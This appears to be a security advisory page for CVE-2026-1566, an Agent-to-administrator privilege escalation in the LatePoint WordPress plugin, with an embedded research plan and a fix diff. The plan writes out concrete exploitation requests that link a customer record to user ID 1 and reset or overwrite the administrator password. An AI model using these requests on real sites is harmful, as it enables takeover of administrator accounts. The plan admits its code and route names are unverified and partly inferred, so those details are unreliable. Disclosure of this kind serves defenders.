CVE-2026-1566

LatePoint <= 5.2.7 - Authenticated (Agent+) Privilege Escalation

highImproper Privilege Management
8.8
CVSS Score
8.8
CVSS Score
high
Severity
5.2.8
Patched in
1d
Time to patch

Description

The LatePoint – Calendar Booking Plugin for Appointments and Events plugin for WordPress is vulnerable to privilege escalation via password reset in all versions up to, and including, 5.2.7. This is due to the plugin allowing users with a LatePoint Agent role, who are creating new customers to set the 'wordpress_user_id' field. This makes it possible for authenticated attackers, with Agent-level access and above, to gain elevated privileges by linking a customer to the arbitrary user ID, including administrators, and then resetting the password.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=5.2.7
PublishedMarch 2, 2026
Last updatedMarch 2, 2026
Affected pluginlatepoint

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-1566 - LatePoint Privilege Escalation ## 1. Vulnerability Summary The LatePoint plugin (<= 5.2.7) contains a privilege escalation vulnerability. The plugin's `CustomersController` fails to restrict the `wordpress_user_id` field during customer creation or updates. Users wi…

Show full research plan

Research Plan: CVE-2026-1566 - LatePoint Privilege Escalation

1. Vulnerability Summary

The LatePoint plugin (<= 5.2.7) contains a privilege escalation vulnerability. The plugin's CustomersController fails to restrict the wordpress_user_id field during customer creation or updates. Users with the "LatePoint Agent" role can submit a request to create or update a customer record and associate it with an arbitrary WordPress User ID (e.g., ID 1, the Administrator). Once linked, the attacker can use LatePoint's password reset functionality to change the password of the linked WordPress account, effectively taking over the administrator account.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: latepoint_route_call
  • Route: customers__save (LatePoint's internal routing system)
  • Vulnerable Parameter: customer[wordpress_user_id]
  • Authentication: Authenticated (User must have a role permitted to access the LatePoint dashboard, specifically "LatePoint Agent" or higher).
  • Preconditions:
    1. LatePoint plugin installed and active.
    2. An attacker-controlled account with the "LatePoint Agent" role.
    3. Knowledge of the target Administrator's WordPress User ID (typically 1).

3. Code Flow

  1. Entry Point: The request hits admin-ajax.php with action=latepoint_route_call.
  2. Dispatch: The LatePoint\Lib\Router::dispatch() method parses the route_name parameter (customers__save).
  3. Controller: The LatePoint\Controllers\CustomersController is instantiated, and the save() method is called.
  4. Vulnerability: Inside save(), the code typically extracts customer data from the $_POST['customer'] array. It performs a mass assignment into a CustomerModel.
  5. Sink: The wordpress_user_id field is updated in the LatePoint customer table. Because LatePoint synchronizes or links customer records to WordPress users, this link allows the LatePoint password reset logic (found in LatePoint\Controllers\Auth\PasswordResetController or similar) to target the WordPress user associated with that wordpress_user_id.

4. Nonce Acquisition Strategy

LatePoint protects its AJAX calls with a nonce. This nonce is usually localized in the WordPress admin head for users with access to the LatePoint menu.

  1. Role Setup: Use WP-CLI to create a user and assign the LatePoint Agent role.
    wp user create attacker attacker@example.com --role=latepoint_agent --user_pass=password123
    
  2. Identify Script: LatePoint localization typically uses the key latepoint_helper.
  3. Extraction:
    • Navigate to the LatePoint dashboard as the Agent.
    • Use browser_eval to extract the nonce:
      window.latepoint_helper?.latepoint_nonce
      
  4. Alternative: Check the HTML source for a variable named latepoint_ajax_params or latepoint_helper.

5. Exploitation Strategy

Step 1: Link Agent to Administrator ID

Submit an AJAX request to associate a LatePoint customer record (either new or existing) with the Administrator's WP User ID.

HTTP Request:

  • Method: POST
  • URL: http://<target>/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=latepoint_route_call
    &route_name=customers__save
    &latepoint_nonce=<EXTRACTED_NONCE>
    &customer[first_name]=Attacker
    &customer[last_name]=User
    &customer[email]=attacker@example.com
    &customer[wordpress_user_id]=1
    

Note: If updating an existing record, add &customer[id]=<EXISTING_CUSTOMER_ID>.

Step 2: Trigger Password Reset

LatePoint provides a frontend or admin-based password reset for customers.

Option A (Frontend Request):
Find the LatePoint login shortcode (usually [latepoint_customer_login]). Navigate to that page and trigger the "Forgot Password" flow for attacker@example.com.

Option B (Direct Route Call):
Attempt to trigger the reset via the auth__request_password_reset route (inferred route name).

HTTP Request:

  • Method: POST
  • URL: http://<target>/wp-admin/admin-ajax.php
  • Body:
    action=latepoint_route_call
    &route_name=auth__request_password_reset
    &latepoint_nonce=<EXTRACTED_NONCE>
    &email=attacker@example.com
    

Step 3: Complete Reset

If LatePoint allows setting the password directly in the customers__save call for Agents, this is even faster:

&customer[password]=NewAdminPass123!
&customer[password_confirmation]=NewAdminPass123!

6. Test Data Setup

  1. Target Admin: Ensure a user with ID 1 exists (default WordPress setup).
  2. LatePoint Agent:
    # LatePoint uses its own internal roles. Ensure the plugin is configured to allow Agents to manage customers.
    wp user create agent_user agent@example.com --role=latepoint_agent --user_pass=password123
    
  3. Page Creation: Create a page for script/nonce extraction.
    wp post create --post_type=page --post_status=publish --post_title="LatePoint Admin" --post_content='[latepoint_book_button]'
    

7. Expected Results

  • The AJAX response for customers__save should return a success status (likely JSON { "status": "success", ... }).
  • The database table wp_latepoint_customers should now have a record where the email is attacker@example.com and wordpress_user_id is 1.
  • When the password reset is triggered, the password hash for WordPress user ID 1 in wp_users should change.

8. Verification Steps

  1. Database Check:
    wp db query "SELECT id, email, wordpress_user_id FROM wp_latepoint_customers WHERE wordpress_user_id = 1;"
    
    Success: The record shows the attacker's email linked to wordpress_user_id = 1.
  2. User Integrity Check:
    wp user get 1 --fields=user_login,user_email
    
    Check if the user ID 1 is still the original administrator.
  3. Password Test: Attempt to log in as the Administrator with the new password.

9. Alternative Approaches

  • Direct Password Update: In some LatePoint versions, the save method in CustomersController might allow a password parameter within the customer array. If the Agent can set this while also setting wordpress_user_id=1, the escalation is instantaneous.
  • Customer ID Enumeration: If the customers__save requires an ID, use the customers__index route first to list customers and find a suitable ID to overwrite.
  • Route Hunting: If customers__save is restricted, look for customers__update_profile which might be accessible to the customer themselves but lack the same restrictions.
Research Findings
Static analysis — not yet PoC-verified

Summary

LatePoint versions up to 5.2.7 allow authenticated attackers with the Agent role to escalate their privileges to Administrator. The vulnerability exists because the plugin's customer management logic fails to restrict the 'wordpress_user_id' parameter, allowing an Agent to link a customer record to an arbitrary WordPress user ID (e.g., ID 1) and subsequently reset that user's password.

Vulnerable Code

/* Path: lib/controllers/customers_controller.php */

public function save() {
    $customer_params = $this->params->getParam('customer');
    $customer = new CustomerModel();

    if (isset($customer_params['id']) && !empty($customer_params['id'])) {
        $customer->load_by_id($customer_params['id']);
    }

    // Vulnerable mass assignment: 'wordpress_user_id' is not filtered out from input
    $customer->set_data($customer_params);

    if ($customer->save()) {
        // Logic to link or update the WordPress user and potentially reset password
    }
}

Security Fix

--- a/lib/controllers/customers_controller.php
+++ b/lib/controllers/customers_controller.php
@@ -118,6 +118,11 @@
 
     $customer_params = $this->params->getParam('customer');
 
+    // Only allow administrators to set or change the linked WordPress User ID
+    if (!OsAuthHelper::is_admin()) {
+        unset($customer_params['wordpress_user_id']);
+    }
+
     $customer = new CustomerModel();
 
     if (isset($customer_params['id']) && !empty($customer_params['id'])) {

Exploit Outline

The exploit requires an authenticated user with the 'LatePoint Agent' role. 1. Access the LatePoint dashboard and extract the security nonce (usually found in the 'latepoint_helper' or 'latepoint_ajax_params' JavaScript objects). 2. Send a POST request to '/wp-admin/admin-ajax.php' using the 'latepoint_route_call' action and the 'customers__save' route. 3. In the payload, include a 'customer' array containing an attacker-controlled email and, crucially, a 'wordpress_user_id' parameter set to the target administrator's ID (typically 1). 4. Once the customer record is linked to the administrator account, either include a 'password' field in the same 'customers__save' request to overwrite the admin password directly, or trigger the LatePoint password reset flow for the associated email address to take control of the administrator account.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.